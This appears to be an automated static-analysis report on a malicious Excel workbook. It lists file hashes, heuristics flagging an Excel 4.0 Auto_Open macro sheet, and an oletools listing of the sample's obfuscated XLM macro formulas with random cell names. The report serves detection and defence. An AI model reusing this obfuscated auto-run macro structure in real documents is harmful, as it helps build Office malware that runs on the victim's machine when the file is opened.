Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f0a6e098e33a9d98…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:41:43 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: bbf8cf64a105d25ed40de969aa572b77 SHA-1: 0e77ed0fad613db657565de57aabaed180395917 SHA-256: f0a6e098e33a9d98e90a2b9c06a4048d9e2c6848b00a48331d52cc3cfd4dcf30
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6792 bytes
SHA-256: b692365e518669dc166ee565452557b2eb57a8d94c7665e87c284474c46c91d7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OahmjoKZ
' 0018     22 LABEL : Cell Value, String Constant - aawCZgX len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D149 
' 0018     26 LABEL : Cell Value, String Constant - czBDqceQYjh len=0 
' 0018     27 LABEL : Cell Value, String Constant - exaBZxbJxsHV len=0 
' 0018     22 LABEL : Cell Value, String Constant - FNIfyeB len=0 
' 0018     25 LABEL : Cell Value, String Constant - gAPASVcTpz len=0 
' 0018     27 LABEL : Cell Value, String Constant - hwsyrBOkxsSG len=0 
' 0018     21 LABEL : Cell Value, String Constant - iitbmG len=0 
' 0018     25 LABEL : Cell Value, String Constant - jhpkJcenCe len=0 
' 0018     26 LABEL : Cell Value, String Constant - LdCogpMNQma len=0 
' 0018     27 LABEL : Cell Value, String Constant - LmLBaAzKWYJc len=0 
' 0018     26 LABEL : Cell Value, String Constant - lwwahXIOMaZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - mnGEzNRnP len=0 
' 0018     25 LABEL : Cell Value, String Constant - MSdtOrUkNR len=0 
' 0018     27 LABEL : Cell Value, String Constant - OfssYoFhiQKS len=0 
' 0018     22 LABEL : Cell Value, String Constant - PsEuhdR len=0 
' 0018     24 LABEL : Cell Value, String Constant - rQuEqXPQk len=0 
' 0018     25 LABEL : Cell Value, String Constant - SEFrVuMVut len=0 
' 0018     22 LABEL : Cell Value, String Constant - tPNvYta len=0 
' 0018     25 LABEL : Cell Value, String Constant - TsjrfbzMjL len=0 
' 0018     21 LABEL : Cell Value, String Constant - wDYJwa len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OahmjoKZ,R54,"",612.00000000000000000000
'  OahmjoKZ,D55,"SET.NAME("lwwahXIOMaZ",0+VALUE("0"))",""
'  OahmjoKZ,R55,"",-731.00000000000000000000
'  OahmjoKZ,R56,"",334.00000000000000000000
'  OahmjoKZ,R57,"",-547.00000000000000000000
'  OahmjoKZ,R58,"",-902.00000000000000000000
'  OahmjoKZ,D59,"SET.NAME("PsEuhdR",lwwahXIOMaZ)",""
'  OahmjoKZ,R59,"",132.00000000000000000000
'  OahmjoKZ,D64,"SET.NAME("tPNvYta",lwwahXIOMaZ)",""
'  OahmjoKZ,D68,"SET.NAME("SEFrVuMVut",COUNTA(iitbmG))",""
'  OahmjoKZ,D72,"SET.NAME("hwsyrBOkxsSG",COUNTA(jhpkJcenCe))",""
'  OahmjoKZ,D76,[],""
'  OahmjoKZ,D81,"SET.NAME("LmLBaAzKWYJc","")",""
'  OahmjoKZ,D84,"PsEuhdR",""
'  OahmjoKZ,D88,"SET.NAME("exaBZxbJxsHV",HLOOKUP("*",iitbmG,PsEuhdR,FALSE))",""
'  OahmjoKZ,D92,"czBDqceQYjh",""
'  OahmjoKZ,D97,"SET.NAME("rQuEqXPQk",lwwahXIOMaZ)",""
'  OahmjoKZ,D101,[],""
'  OahmjoKZ,D103,"rQuEqXPQk",""
'  OahmjoKZ,D106,"LdCogpMNQma",""
'  OahmjoKZ,D108,"mnGEzNRnP",""
'  OahmjoKZ,D110,"gAPASVcTpz",""
'  OahmjoKZ,D114,"SET.NAME("OfssYoFhiQKS",VALUE(HLOOKUP("*",jhpkJcenCe,gAPASVcTpz,FALSE)))",""
'  OahmjoKZ,D117,"FNIfyeB",""
'  OahmjoKZ,D121,"LmLBaAzKWYJc",""
'  OahmjoKZ,D126,"tPNvYta",""
'  OahmjoKZ,D128,NEXT(),""
'  OahmjoKZ,D133,"aawCZgX",""
'  OahmjoKZ,D135,[],""
'  OahmjoKZ,D137,"TsjrfbzMjL",""
'  OahmjoKZ,D142,NEXT(),""
'  OahmjoKZ,D144,RETURN(),""
'  OahmjoKZ,D179,"SET.NAME("wDYJwa",D55)",""
'  OahmjoKZ,D181,"iitbmG",""
'  OahmjoKZ,D184,"SET.NAME("jhpkJcenCe",R71C13)",""
'  OahmjoKZ,D186,"SET.NAME("TsjrfbzMjL",194)",""
'  OahmjoKZ,D190,"SET.NAME("MSdtOrUkNR",4)",""
'  OahmjoKZ,D193,wDYJwa(),""
'  OahmjoKZ,D194,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.